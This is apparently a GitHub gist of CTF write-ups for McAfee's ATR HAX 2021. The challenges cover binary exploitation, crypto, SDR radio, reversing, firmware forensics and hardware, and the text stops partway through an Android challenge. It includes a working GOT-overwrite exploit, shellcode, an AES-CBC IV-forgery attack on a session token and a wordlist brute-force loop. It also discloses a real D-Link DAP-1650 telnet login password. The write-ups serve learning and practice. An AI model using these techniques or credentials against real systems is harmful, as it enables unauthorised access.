Skip to content

Instantly share code, notes, and snippets.

@mlashley
Last active February 20, 2021 09:10
Show Gist options
  • Save mlashley/12b27171316beb2844a30dc98f2c91ae to your computer and use it in GitHub Desktop.
Save mlashley/12b27171316beb2844a30dc98f2c91ae to your computer and use it in GitHub Desktop.
ATRHAX Writeups

Write-ups for ATR HAX CTF hosted by McAfee - Feb 2021.

Captain Ridley's Shooting Party Scoreboard

Exploitation

A Winning Attitude (500pts)

Challenge Description

This binary has a function named "winner" which is never executed. Your task is to find a vulnerability in the binary and leverage it to execute "winner". When "winner" is executed the flag will be sent to you.

challenges.ctfd.io:30461

The link above is running the executable and you can connect to it with netcat. Please use it to retrieve the flag after you get your exploit working on the binary.

Recon

GDB and Ghidr'ing

If we send cyclic(1050) twice - it tries to strcpy from the 2nd input of "faaa" (0x61616166) at offset 20 (presumably in first input.) So we /maybe/ have a write-what-where...

More gdb and it turns out we do, and the GOT is writeable, so the basic premise is to overwrite the GOT entry for puts(), with the address of winner() We do that by stuffing the GOT->puts address at offset 20 in the first data, and send the address of winner() in the second data, which will then be strcpy'd to the GOT. Right after that the program calls puts, which is now 'winner'

Exploit

p.sendline(cyclic(20)+p32(elf.got['puts'])) # We want to overwrite the global offset table entry for puts which is called later.
print(p.recvuntil("Data recevied"))
p.sendline(p32(elf.sym['winner'])) # Do we need to null terminate? Nah...
print(p.recvuntil("Data recevied"))
p.interactive()

And we have our flag.

[+] Opening connection to challenges.ctfd.io on port 30461: Done
b'Data recevied'
b'\nData recevied'
[*] Switching to interactive mode

ATR[GOTSare1337]

Shellcode Hollaback (500pts)

Challenge Description

Just challenges.ctfd.io:30464

The linked website presents:

Shellcode Hollaback
After days of reversing a certain x86-64 target running Linux, you're finally able to execute up to 64 bytes of shellcode. You also know the location of a function (0x5555555551b5) that will store a username and password. You can then use these credentials to retrieve the flag. Thankfully, symbols were left in so you know that the function's signature is:

void store_credentials(const char* username, const char* password)

Using this information, construct some shellcode that will help you retrieve the flag. Best of luck!

Exploitation

Here we simply have to submit the hex-string for asm to call that function with given arguments. We are told x86_64 so we know the arguments are passed by registers (rdi, rsi). First - we just check we can call the function... that can be done by either mov rax, 0x5555555551b5; push rax; ret; or mov rax, 0x5555555551b5; call rax;. Using pwntools to assemble and convert to the required \xNN\xNN notation.

We are told that we called the function, and given a download link to a shellcode_tester for local testing.

Last piece of the puzzle is that we don't know where we are being executed, and we have to pass two pointers (actually one for user==pass ;-) )

We'll just append it to our payload and use relative addressing from the current instruction | code | pad | password |.

from pwn import *

addr="0x5555555551b5"
code = """
lea rsi, [rip+0x19]
mov rdi, rsi
mov rax, """ + addr + """;
call rax;
"""

line=enhex(asm(code, arch = 'amd64', os = 'linux'))
out = "".join(["\\"+"x"+line[i:i+2] for i in range(0, len(line), 2)])
print(len(out))
pad="\\xde"*(32-int(len(out)/4))
passw="\\x6a\\x6f\\x6e\\x69\\x73\\x67\\x61\\x79\\x00"
print(out+pad+passw)

We run that and enter the user=pass we provided and get the flag ATR[AINTN0H0LLABACKGURL]

Light Switch Crypto (100pts)

Challenge Description

Here is a 3-way light switch. Look closely, it may help you uncover the secret message! Solve the secretly coded message to capture the flag!

Recon / Solve

We get a tarball with a PNG of 3 interconnected light-switches. A key, some encrypted text and a python script. Our task is to implement the 'decrypt' function according to the rules in the image.

Switches Image

Even if you don't immediately recognise this as XOR, trivial to solve by just writing the given rules in full.

c1 = 1
if( A == 0 and B == 0 ):
  c1 = 0

c2 = 1
if( A == 1 and B == 1):
  c2 = 0

c3 = 0
if(c1 == 1 and c2 == 1):
  c3 = 1

o = c3

and we soon have our flag

$ python3 solve_me.py
 Reading my key:  0x410x4200x410x4200x410x42010x42
 Reading encrypted flag:  q,fjUKo\SYD'GEYDTC'U@UnHFo

 *** Complete magic_func ***
 Output:  ATR[3way_light_switches_are_xor]

IVe seen sites like this before (200pts)

Challenge Description

This webserver seems to enforce restrictions on users, can you find a way in?

Recon

Obvious use of 'IV' in the title...

The website redirects to http://challenges.ctfd.io:30459/login?iv=f15188446e6e3167&session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845

With the text

This is a restricted page only authorized users can access it

Current User: unpriv_user1 UID: 40

Meanwhile view-source has hints

<!-- Changelog -->
<!-- 09/15/2018 - Changed from DES to AES-256-CBC after our latest data breach -->
<!-- 05/23/2018 - Todd is and idiot and somehow never knows how to login so I have added the encryption IV and the encrypted session to the URL parameters -->
<!-- 03/12/2018 - String compare of the users is acting up I found a different way to validate users -->
<!-- 02/08/2018 - Moved the default user from root to unprivlaged users. This way only admins can access this page -->

http://challenges.ctfd.io:30459/login?iv=f15188446e6e3167&session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845

IV is used with the output of the first block as simple xor in AES... if we know IV and Plaintext we can calculate the output of the block 'E' (go google any AES-CBC diagram.) and using that - calculate our 'EvilIV' to make the output of the cipher whatever we want.

curl -s 'http://challenges.ctfd.io:30459/login?iv=f15188446e6e3167&session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845' 2>&1 | grep Current
<b>Current User: unpriv_user1 UID: 40</b>

So given:

IV=f15188446e6e3167
E = Plaintext XOR IV
Plaintext =  unpriv_user1

We can calculate E

$ echo -n 'unpriv_user1' | xxd -p
756e707269765f7573657231
$ python3 -c "print(hex(0x756e707269765f7573657231 ^ 0xf15188446e6e3167))"
0x756e70729827d7311d0b4356
^^ E

Wanted-plaintext XOR E = EvilIV

$ echo 'rootmalc' | xxd -p
726f6f746d616c630a
$ python3 -c "print(hex(0x726f6f746d616c630a ^ 0x756e70729827d7311d0b4356))"
0x756e7000f748a35c7c67205c

Doesn't work... Bunch of head=scratching later - the IV isn't long enough for AES-256... wtf... then... brainwave it isn't actually hex, it just looks like it: GET /login?iv=m000000000000000&session=... is entirely valid.

Starting over:

Note here that "ff1234" denotes the ascii string f f 1 2 ...

"unpriv_user1" XOR "f15188446e6e3167"

Pt = 75 6e 70 72 69 76 5f 75 73 65 72 31 04 04 04 04
IV = 66 31 35 31 38 38 34 34 36 65 36 65 33 31 36 37
XOR =>
E  = 13 5f 45 43 51 4e 6b 41 45 00 44 54 37 35 32 33

If our WantedPlaintext is 'root' - 12 octets of 0xc padding (Assuming PKCS#7 here) WantedPlaintext(P') ^ E = EvilIV

P'     = 72 6f 6f 74 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c
E      = 13 5f 45 43 51 4e 6b 41 45 00 44 54 37 35 32 33
XOR =>
EvilIV = 61 30 2a 37 5d 42 67 4d 49 0c 48 58 3b 39 3e 3f
== `a0*7]BgMI.HX;9>?`

Or with NULL padding

EvilIV = 61 30 2a 37 51 4e 6b 41 45 00 44 54 37 35 32 33
== `a0*7QNkAE.DT7523`

Fuxk around with this for a good long while with output like...

> GET /login?iv=a0*7k.aKO%0aN^=?89&session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845 HTTP/1.1
<b>Current User: root:`



rr:> UID: undefined</b>

Let's assume NULL padding.

Pt  = 75 6e 70 72 69 76 5f 75 73 65 72 31 00 00 00 00
IV  = 66 31 35 31 38 38 34 34 36 65 36 65 33 31 36 37
XOR =>
E   = 13 5f 45 43 51 4e 6b 41 45 00 44 54 33 31 36 37

P'  = 72 6f 6f 74 00 00 00 00 00 00 00 00 00 00 00 00
XOR =>
IV' = 61 30 2a 37 51 4e 6b 41 45 00 44 54 33 31 36 37
(or `a0*7QNkAE.DT3167`)

After getting some non-responses from curl, eventually go back to chrome with the same EvilIV

http://challenges.ctfd.io:30459/login?iv=a0%2A7QNkAE%00DT3167&session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845

Current User: root UID: 40

Seems like curl really hates NULLs... FFS.

There we figure changing the last byte 67=>66 affects the UID

http://challenges.ctfd.io:30459/login?iv=a0%2A7QNkAE%00DT3166&session=bbf6ad986ed574e8949d7b7e9348f38c4d1d93ab85062c3f168b1c82b7279845

Current User: root UID: 41

Let's Assume

Pt = 'unpriv_user1<NULL><NULL>40'
Pt = '75 6e 70 72 69 76 5f 75 73 65 72 31 00 00 34 30'

Would make E = 13 5f 45 43 51 4e 6b 41 45 00 44 54 33 31 02 07

P'  = 72 6f 6f 74 3A 3A 3A 3A 3A 3A 3A 3A 3A 3A 3A 3A
E   = 13 5f 45 43 51 4e 6b 41 45 00 44 54 33 31 02 07
=>
IV' = 61 30 2a 37 6b 74 51 7b 7f 3a 7e 6e 09 0b 38 3d = a0*7ktQ%7B%7F:~n%09%0B8=

Gives us
Current User: root::::::::FF:: UID: undefined

chr('F') = 0x46 slot in our original IV was "31" at the end in "3167" = 0x33 0x31 0x36 0x37

Let us set them to 0x00 in our IV' assuming some double-null separator

IV' = 72 6f 6f 74 3A 3A 3A 3A 3A 3A 3A 3A 00 00 3A 3A = 'a0*7ktQ%7B%7F:~n318='

Sure enough we get:

Current User: root:::::::: UID: ::

Finally with our wanted-plaintext formatted as root<NULLs>00 i.e. 72 6f 6f 74 00 00 00 00 00 00 00 00 00 00 30 30 Giving our Evil IV of 61 30 2a 37 51 4e 6b 41 45 00 44 54 33 31 32 37 = a0*7QNkAE%00DT3127 (Using all the math written 20 times above.)

We are given the flag.

<h1>Welcome "root" here is the flag</h1>
<p>ATR[Crypt0IsAsGoodAsTheImplementation]</p>

Note to self - testing with curl when your crypto outputs binary/unprintable - will send you ass-up in a rabbit hole...

Know Your Header (part I) (200 pts)

Challenge Description

The challenge was encrypted, but we have the encryption script. Can you figure out the key?

For this challenge, the flag is the key to decrypt the next stage "Know your header (part II)". The challenge will become available if you solve part I.

Solve

We get a hint...

$ ./hint
I do nothing but I still can be helpful....
Did you know all linux binaries have a ELF header ?
We all start the same, isn't that cool?

Presumably means the elf-magic is relevant.

$ readelf -a hint
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

We are also given encode.py, which is a simple keyed xor...

But running it with elf-magic doesn't seem to help us

$ xxd -l 64  -p challenge_encoded  
e040e49b960b14dd9f05a8dd940a15dd9c0596dd950a15ddef02a8dd940a
15dddf05a8dd940a15ddff2ea8dd940a15dd9f05a8ddd40a2ddd9605e8dd
890a09dd

Chuck in Cyberchef, maybe it is hinting that we have an encrypted binary that /should/ start with an elf-header... (known-plaintext) Perform ENCFILE[0:7] XOR ELF-Magic, and then read those first 8 bytes are a possible key = "9f 05 a8 dd 94 0a 15 dd".

Indeed they are:

$ python2 encode.py 9f05a8dd940a15dd challenge_encoded test.malc
$ file test.malc
test.malc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so
.2, for GNU/Linux 3.2.0, BuildID[sha1]=2caaf9304b646a1f86ff892c534aa1483ae6c350, not stripped
$ ./test.malc
To decode the flag, run:
  ./test.malc password_in_hex
 Hint: IDA Free and Ghidra are great tools...

Flag = ATR[9f05a8dd940a15dd]

NB - I got a failed submission here because I didn't read the description and went on to solve part2 and submit it's flag for part1... Part2 is in the 'Reversing' section

One Time Only (400 pts)

Challenge Description

You are an investigator. Two bad actors have been communicating via encryption. Their names are Nebakanezzer and AcidicZero.

They taunt law enforcement claiming they are using unbreakable encryption. You've managed to come by three encrypted messages. You know for a fact that they've been using one symmetric key as you've been watching their communication for some time but unfortunately do not have the key. Your task is to decrypt enough of the messages to extract the flag.

Recon

We are given a zip of the 3 files:

$ more encryption*
::::::::::::::
encryption1.txt
::::::::::::::
1~p-otq{dsYBKTD;L?=,?6W'?66h_kcvY(:Z4ipq,%CHT<HHAI
::::::::::::::
encryption2.txt
::::::::::::::
+0o"j'wyr'gX1DIH?XF*8,KX;F:|__qqQ'Gownkvoe9ED^Y)3m{)ly|!!ky*
::::::::::::::
encryption3.txt
::::::::::::::
*u%8zoq+vt=K=IS<F:?H4:Wy.&0VmrjhM(>4'gyrmv!82
$ wc -c encryption*
 50 encryption1.txt
 60 encryption2.txt
 45 encryption3.txt

Initial observations, all ASCII/printable, lengths are multiples of 5. (The 5byte/40bit pointing to a block-cipher is a massive red-herring.)

Chars from 0x21->0x7e = 94 Some form of Base85 encoding? Doesn't seem to be the ASCI85 or Base85 variants...

We figure some sort of one-time-pad from the challenge name.

http://users.telenet.be/d.rijmenants/en/onetimepad.htm is a big help if you need background.

Solve

Read the link above to understand 'Crib Dragging'. I spent an inordinate amount of time trying that assuming the pad was XOR'd... It is modulo-math, I spend some more time on futile attempts with 0x21 to 0x7e (33->126) == base94, until I finally realised that 0x20 / SPACE was missing and likely. Once we offset the ciphertext so that 0x20->0x7e maps to 1->94 - and use base95 - it becomes clear...

OFFSET = 31
MOD    = 95

def xx(data,x):
    res = ""
    for i in range(0, len(data)):
        c = data[i]
        encoded_val = chr(ord(c)+x)
        res += encoded_val
    return res

def nrml(data):
    return xx(data,-OFFSET)

def denrml(data):
    return xx(data,OFFSET)

def mod94(data1,data2,op): # this is really mod_any(=95) leftover from previous exploration...
    res = ""
    if(len(data1) != len(data2)):
        print(" *Fuuuuuuck* ")
    for i in range(0, len(data1)):
        c1 = data1[i]
        c2 = data2[i]
        if(op == "add"):
            r = ord(c1)+ord(c2)
        if(op == "sub"):
            r = ord(c1)-ord(c2)
        if ( r > MOD ):
            r = r - MOD
        elif ( r < 1 ):
            r = r + MOD
        encoded_val = chr(r)
        res += encoded_val
    return res

    c1 = """1~p-otq{dsYBKTD;L?=,?6W'?66h_kcvY(:Z4ipq,%CHT<HHAI"""
    c2 = """+0o"j'wyr'gX1DIH?XF*8,KX;F:|__qqQ'Gownkvoe9ED^Y)3m{)ly|!!ky*"""
    c3 = """*u%8zoq+vt=K=IS<F:?H4:Wy.&0VmrjhM(>4'gyrmv!82"""

    cn1 = nrml(c1)
    cn2 = nrml(c2)
    cn3 = nrml(c3)

    def cribdrag(cn1,cn2,cn3,word):
        op1 = "sub" ; op2 = "add"
        # op1 = "add" ; op2 = "sub"
        lw = len(word)
        lmax = 1+min(len(c1),len(c2),len(c3))
        wn = nrml(word)
        for i in range(0, lmax - lw):
            presumed_key = mod94(wn,cn1[i:i+lw],op1)
            print("{:02d} M2?:".format(i), denrml(mod94(cn2[i:i+lw],presumed_key,op2)),end="")
            print(" M3?:", denrml(mod94(cn3[i:i+lw],presumed_key,op2)))

Now we have our crib-dragging function - we can drag possible words across the ciphertext, calculate what the key would have been for that position, and apply the key to the other 2 texts and look of bits of possible plaintext. I've done it all 3 ways to avoid missing anything...

cribdrag(cn1,cn2,cn3,word)
cribdrag(cn2,cn1,cn3,word)
cribdrag(cn3,cn1,cn2,word)

The output for the various words I used in order is below:

word = "Nebakanezzer" # With offset=31, Mod=95 # 23 M2?:   are absurd  M3?:  ATR[Youllnev
word = "ATR[Youllnever" # 23 M2?:  Nebakanezzer,  M3?:   are absurd Ac
word = "AcidicZero" # 35 M2?: , did you  M3?: erbreakMe]

word = "ATR[YoullneverbreakMe]" # WIN!

Some extra-credit to recover more of the plaintext from the other 2 msgs:

word = " flag" # 14 M2?:  perfe M3?:  ure n
word = "is perfect" # 11 M2?:   Youre nam M3?:  ret flag i
word = " Youre name" # 11 M2?: is perfecto M3?: ret flag is

word = "ATR[Youllneverbreak" # 23 M2?: Nebakanezzer, did y M3?:  are absurd AcidicZ
word = "Nebakanezzer, did you" # 23 M2?:  are absurd AcidicZer M3?: ATR[YoullneverbreakMe

word = "secret flag" # 08 M2?: ad is perfe M3?: ow. Youre n
word = "now. Youre name" # 07 M2?: pad is perfecto M3?:  secret flag is
word = " secret flag is ATR[YoullneverbreakMe" # 07 M2?: pad is perfecto Nebakanezzer, did you M3?: now. Youre names are absurd AcidicZer
word = " now. Youre names are absurd AcidicZer"
word = "the secret flag is ATR[YoullneverbreakMe" # 04 M2?: imepad is perfecto Nebakanezzer, did you M3?: d know. Youre names are absurd AcidicZer
word = "onetimepad is perfecto Nebakanezzer" # 00 M2?: i did know. Youre names are absurd  M3?: hey the secret flag is ATR[Youllnev
word = "i did know. Youre names are absurd AcidicZero" # 00 M2?: onetimepad is perfecto Nebakanezzer, did you  M3?: hey the secret flag is ATR[YoullneverbreakMe]

Vader: I find youre lack of punctuation disturbing...

RF

Smell like ham to you? (400 pts)

Challenge Description

You find 3 files of the form #_samplerate_frequency_bandwidth.iq:

1_2Msps_50.090MHz_2MHz.iq 2_xMsps_xMHz_xMHz.iq 3_xMsps_xMhz_xMHz.iq These files were captured over the air via a software-defined radio. You have a suspicion these broadcasts contain valuable information. As such, you have decided to try to determine the contents of each file.

Solve

If you've ever played around with a software-defined-radio, you have all the tools for this. If not - it was probably quite the learning-mountain.

Load the first file into gqrx

file=/home/me/ctf/atrhax2020/rf/1_2Msps_50.090MHz_2MHz.iq,rate=2e6
bandwidth = 2MHz
LNB LO = 50.09 MHz

Tune to around 98.955 and you will hear obvious Morse Code. Save as audio-file. Run thru wav to morse at e.g. https://morsecode.world/international/decoder/audio-decoder-adaptive.html

We get different results - but you get the gist.

EN E EET TT ETNLE AS CAPTURED IT 6520KHZ SAMPRATE 2M
SSMPLE AS CAPTURED UT 146520KHZ HAMPRATE M
SE UMPLE WAS CAPTURED AT 146520KHZ HAMPRATE M

If we force freq = 861Hz and WPM=27 - we get a cleaner decode:

SAMPLE 2 WAS CAPTURED AT 146520KHZ SAMPRATE 2M

Load second file in as before, using params as above - find the signal around 48MHz - It is WFM(mono) - Voice speaking:

"The third file was captured at 7.171Mhz 2.5Msps"

Load the third file, tune according to the waterfall/FFT.

After some fine-tuning and listening to different demodulation - sounds like SSTV (slow-scan TV...) Save it out to wav with LSB mode, whilst you install qsstv. (There is a guide for Kali here https://charlesreid1.com/wiki/Qsstv I used Gentoo.)

The guide goes thru all sorts of audio crap - I just set sstv to read from file and decode the image.

SSTV Image

Flag: ATR[SSTV]

Reversing

Know Your Header (part II) (300 pts)

Challenge Description

When you have solved the second part of "Know your Header", you can enter the flag here.

You will need to have solved "Know your Header (Part I)" for this challenge. Use the binary from Part I, named "challenge_encoded" to solve this.

Solve

Given binary from Part I - So fire up Ghidra We have a main() doing.

__s1 = (char *)transform_password(param_2[1]);
printf("Decoded password: %s\n",__s1);
iVar1 = strcmp(__s1,"good job!");

And transform_password() doing

local_20 = decode_hex(param_1,&local_28,&local_28);
local_24 = 0;
while (local_24 < local_28) {
  *(byte *)(local_20 + local_24) = *(byte *)(local_20 + local_24) ^ 0x66;
  local_24 = local_24 + 1;
}

So the password is "good job!" with each byte XOR'd with 0x66 => 01 09 09 02 46 0c 09 04 47

And with an added NULL (0x0 ^ 0x66 = 0x66, obvs)

$ ./test.malc 01090902460c09044766
...transforming 01090902460c09044766 to normal string
Decoded string:                 F
                                        Gf
Decoded password: good job!
Flag: ATR[(>)xor___xor(>)]

Two's Company (400pts)

Challenge Description

File me once, shame on you. File me twice, shame on me!

Solve

We are given the binary crackme loding into Ghidra for analysis, we can immediately see it opens file1 and file2 and 'does stuff'. It ends by printing

"High Fives All Around!\nNow, figure out how to send your solution(s) to the file server at http://challenges.ctfd.io:30465/"

Either Ghidra was acting up or there was another level of obfuscation of libc functions - but after some cross-referencing gdb and Ghidra - we end up with:

fd1 = fopen("file1",&mode_r);
if (fd1 == 0) {
  uVar1 = 0;
}
else {
  if (fd1 == 0) {
    uVar1 = 0xffffffff;
  }
  else {
    while (inChar = fgetc(fd1), inChar != -1) {
      fpos = ftell(fd1);
      if (fpos == 1) {
        if (inChar != 0x46) break;
        aaa = aaa + 1;
      }
      if (fpos == 3) {
        if (inChar != 0x4c) {
          return 0;
        }
        aaa = aaa + 1;
      }
      if (fpos == 5) {
        if (inChar != 0x41) {
          return 0;
        }
        aaa = aaa + 1;
      }
      if (fpos == 9) {
        if (inChar != 0x47) {
          return 0;
        }
        aaa = aaa + 1;
      }
      if (fpos == 10) {
        if (inChar != 0x31) {
          return 0;
        }
        aaa = aaa + 1;
      }
      if (inChar == 10) {
        newlineCount = newlineCount + 1;
      }
      charCount = charCount + 1;
    }
    if (((charCount == 10) && (newlineCount == 5)) && (aaa == 5)) {

So file1 needs to be 10 chars, 5 newlines and the specifics in the other offsets. We can create it with:

python3 -c 'print("\x46\x0A\x4c\x0A\x41\x0A\x0A\x0A\x47\x31",end="")' >file1

file2 follows a similar format - different offsets, and nulls instead of newlines.

if (((charCount == 0x1e) && (nullCount == 0x19)) && (aaa == 5)) {
python3 -c 'print("\x00\x46\x00\x4c\x00\x41\x00\x00\x00\x00\x00\x47\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00",end="")' >file2

Works to print the success-msg locally - send files to web-server above - and get the flag: ATR[h5&HTS]

Forensics

Password in a Haystack (200pts)

Challenge Description

You have acquired the Strings (*nix command) output for a file. You know that a user's password is somewhere in the file and need to retrieve it. The username is steve557. Find the password based on the password rules. Only one string will match these rules.

  • All passwords must be 6-12 printable characters in length.
  • Each password must contain at least 3 unique digits
  • Passwords cannot contain 3 consecutive characters of your username nor its reverse. This is case insensitive.

Remember, no brute forcing of the site is allowed!

Solve

We are given output.txt with 19242 possible passwords...

We write some shitty perl. (It is late-night at this point and speed trumps beauty)

#!/usr/bin/perl -w

# Passwords cannot contain 3 consecutive characters of your username nor its reverse. This is case insensitive.

$username="steve557";
my @threes;
foreach $i (0 .. length($username)-3) {
  push @threes, substr $username, $i, 3;
  push @threes, substr reverse($username), $i, 3;
}

# Each password must contain at least 3 unique digits
sub uniqdigit($) {
  my ($str, %hash) = shift;
  foreach $c (split //,$str) {
    $hash{$c}++ if($c =~ m/[0-9]/);
  };
  return scalar keys %hash;
}

while(<>) {
  chomp;
  # All passwords must be 6-12 printable characters in length.
  next if(length($_) <6);
  next if(length($_) >12);
  # Passwords cannot contain 3 consecutive characters of your username nor its reverse. This is case insensitive.

  my $bad = 0;
  foreach $tri (@threes) {
    $bad = 1 if (m/$tri/i);
  }
  next if($bad == 1);
  next unless(&uniqdigit($_) >= 3);

  print "Possible: $_\n";
}
$ cat output.txt | ./validate.pl
Possible: 1-r-d4-n33dl

We get our flag ATR[1-r-d4-n33dl]

Not Software, not Hardware (300 pts)

Description

I grabbed this file from a Wireshark capture of one of my home devices doing an update of some kind. Can you find the flag?

Solve

We get a McAfee_CTF.bin which we binwalk...

No obvious ATR[] in the unpacked files... we do have a SHA-512 password hash...

me@kali:~/mounthere/_McAfee_CTF.bin.extracted/squashfs-root$ cat etc/shadow
root:$6$19yJir3t$DKemu8nRjxvuPbDZdZcdtsJiiVd7zAXN7Q63.eepYT.R0LqsDMYCzwetEO58sPROWiVfhY1Aeu3O3awr57fv50:17994:0:99999:7:::

Appears to be OpenWRT

me@kali:~/mounthere/_McAfee_CTF.bin.extracted/squashfs-root$ cat etc/openwrt_release
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='18.06.2'
DISTRIB_REVISION='r7676-cddd7b4c77'
DISTRIB_TARGET='ramips/rt288x'
DISTRIB_ARCH='mipsel_24kc'
DISTRIB_DESCRIPTION='OpenWrt 18.06.2 r7676-cddd7b4c77'
DISTRIB_TAINTS=''

Much fscking around with binwalk etc. later...

me@kali:~/mounthere$ sasquatch -ll _McAfee_CTF.bin.extracted/160060.squashfs | grep -B2 -A2 flag
SquashFS version [4.0] / inode count [1160] suggests a SquashFS image of the same endianess
Trying to decompress using default xz decompressor...
Successfully decompressed with default xz decompressor
drwxr-xr-x root/root                49 2019-08-06 22:17 squashfs-root/root/.secret
-rw-r--r-- root/root               374 2019-08-06 22:17 squashfs-root/root/.secret/README.txt
-rw-r--r-- root/root                65 2019-08-06 22:15 squashfs-root/root/.secret/flag.enc
drwxr-xr-x root/root               794 2019-01-30 12:21 squashfs-root/sbin

The README.txt has a big hint:

cat squashfs-root/root/.secret/README.txt
This is the directory where I store all of my encrypted files.

I encrypt them using: echo "secret" | openssl enc -aes256 -salt -out file.enc -e -a -pbkdf2 -k 'PASSWORD'

and decrypt them using: openssl enc -aes256 -in file.enc -out file.txt -d -a -pbkdf2

P.S.
I haven't gotten a password manager yet but I know my login password is supper secure so I don't see a need...

Apply some brute force and wordlists (iirc this wasn't in rocku which I tried first.):

$ while IFS= read -r p; do openssl enc -aes256 -in squashfs-root/root/.secret/flag.enc -d -a -pbkdf2 -k "$p" 2>&1 | grep ATR
;
done <<< $(cat /usr/share/wordlists/fasttrack.txt )
ATR[F1rMW4r315N750H4rD]
ATR[F1rMW4r315N750H4rD]
ATR[F1rMW4r315N750H4rD]

The password P@55w0rd! can also be discovered from cracking /etc/shadow (but you still have to find the right wordlist)

A Picture is Worth a Thousand Vulns (200 pts)

Description

You've come across a popular WiFi range extender at the store and decided to make it your next target. Before putting down the cash to buy the thing, you decide to do some recon at home to see if it's worth your time. After all, a good hacker can find out all sorts of things without even opening the box...

Solve

We are given a picture of a Wifi Range extender and asked a bunch of (multiple-choice) questions:

You've come across a popular WiFi range extender at the store and decided to make it your next target. Before putting down th
e cash to buy the thing, you decide to do some recon at home to see if it's worth your time. After all, a good hacker can fin
d out all sorts of things without even opening the box...

What is the primary SoC/CPU on the device?

 CYW43362
 ATSAMR30G18A
 RS9116N-DBT0-BRS
 RTL8197D
What architecture runs on this CPU?

 MIPS
 ARM
 PowerPC
 x86
What version of the Linux kernel runs on the latest firmware? (Answer should be in the form X.X.X or X.X.XX or X.XX.X or X.XX
.XX).


What useful Linux tools are present on the latest firmware?

 tftp
 wget
 netcat
 gdbserver
What is the login password for the telnetd server?

Questions 1 and 2 are a sinple google away.

CPU = TRL8197D Arch = MIPS

For Q3. we grab firmware from https://support.dlink.com/ProductInfo.aspx?m=DAP-1650 binwalk -Be DAP1650_FW*.bin to unpack.

me@kali:~/mounthere/_DAP1650_FW103WWb07.bin.extracted$ strings 2884 |  grep -i linux
Linux version 2.6.30.9 (hill_ting@prosche) (gcc version 4.4.5-1.5.5p4 (GCC) ) #1 Fri Apr 15 16:27:46 CST 2016

Kernel = 2.6.30.9

And Q4. is easily answered with

$ for x in tftp wget netcat gdbserver ; do find ./ -name $x  -print ; done
./squashfs-root/usr/bin/wget

Apps = wget

Q5. Takes a little more forensics to trace thru from SysVinit.

me@kali:~/mounthere/_DAP1650_FW103WWb07.bin.extracted$ cat ./squashfs-root-0/etc/init0.d/S80telnetd.sh
<snip>
                image_sign=`cat /etc/config/image_sign`
                telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
        else
                telnetd &
        fi
<snip>
me@kali:~/mounthere/_DAP1650_FW103WWb07.bin.extracted$ cat squashfs-root/etc/config/image_sign
wapac04_dlob_dap1650

Password = wapac04_dlob_dap1650

Submitting those to the website gets us our flag.

Flag: ATR[H4L0R3C0N4RM0R]

Hardware

Shack the Secret (200pts)

Description

A researcher has discovered a file that has been encrypted with AES-128-ECB by an embedded device. The encrypted file has been captured through network analysis and the raw file is called Blob. With no debug ports available on the embedded device, one must extract the encryption key. Luckily, we have captured IC bus traffic while exercising functionality.

Solve

We are given a tarball with

-rw-r--r-- 1 me users 6601 Jan 15 21:23 BusTraffic.logicdata
-rw-r--r-- 1 me users  128 Jan 15 21:23 blob

*.logicdata comes from Saleae logic analyzer - you want the old version1 from the 2nd link

https://ideas.saleae.com/f/changelog/ https://support.saleae.com/logic-software/legacy-software/latest-stable-release-download

We have 2 logic lines, likely I2C (both by signal count and the 'IC bus' hint in description) - try that decoder first - and sure enough:

'safepasswordcomm' is sent on the wire... (which is handily 16 bytes of AES-128 key)

Still need an IV...

$ od -tx1c blob
0000000  53  61  6c  74  65  64  5f  5f  40  61  41  de  a9  45  0e  c3
          S   a   l   t   e   d   _   _   @   a   A 336 251   E 016 303
0000020  0b  74  13  48  19  de  2c  5e  8a  1f  ac  45  c9  49  d1  bd
         \v   t 023   H 031 336   ,   ^ 212 037 254   E 311   I 321 275

Base64 the blob - and send to Cyberchef for analysis, take the first 16 bytes as IV. (Note to self - this was wrong IV/Salt is 8 bytes for AES-128=16 bytes...)

53 61 6c 74 65 64 5f 5f 40 61 41 de a9 45 0e c3 <= IV

0b 74 13 48 19 de 2c 5e 8a 1f ac 45 c9 49 d1 bd df 4f 41 16 b7 a6 9d 0f af 16 0a a6 f3 18 6f c6 0b 74 13 48 19 de 2c 5e 8a 1f ac 45 c9 49 d1 bd 6f 5b e4 9e cb da a5 95 60 72 5e 41 cf 47 7f c4 d1 c7 ae e2 b4 6e 6a 88 42 40 fa 1e 5d 60 24 b7 0b 74 13 48 19 de 2c 5e 8a 1f ac 45 c9 49 d1 bd 91 31 d3 21 a4 57 72 c6 84 29 c1 50 ac 3c ea e4

Hmm - perhaps 'salted' isn't part of the IV... bit of googling later... and openssl ftw. (This seems to be openssl standard.)

mlashley@duality ~/ctf/atrhax2020/hardware/shack_the_secret $ openssl aes-128-ecb -d -k safepasswordcomm -salt  -in blob  -p
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
salt=406141DEA9450EC3
key=DDB7D5854C7D15BE2734418F481E282D
ATR[HWHackIsFun]3flagrepeats4youATR[HWHackIsFun]Reallypoorcrypto-ECBsnotforfilesATR[HWHackIsFun]

Flag: ATR[HWHackIsFun]

Mobile

Looking for Droids? (100pts)

Description

The following APK is an application that contains encrypted passwords. Your task, should you choose to accept, is to find the flag in one of these passwords.

Solve

Given apk named PasswordVault.apk

Unpack/decompile the usual way.

mkdir unpacked
cd unpacked
unzip ../PasswordVault.apk
d2j-dex2jar.sh classes.dex
java -jar jd-gui-1.6.6.jar classes-dex2jar.jar

MainActivity has

if (str.equals("notthefl@g")) {
       Intent intent = new Intent(param1View.getContext(), PwdContainer.class);
       intent.putExtra("SECRET", str);

The pwdContainer class has:

Intent intent = getIntent();
 this.pwdDb = (ListView)findViewById(2131165262);
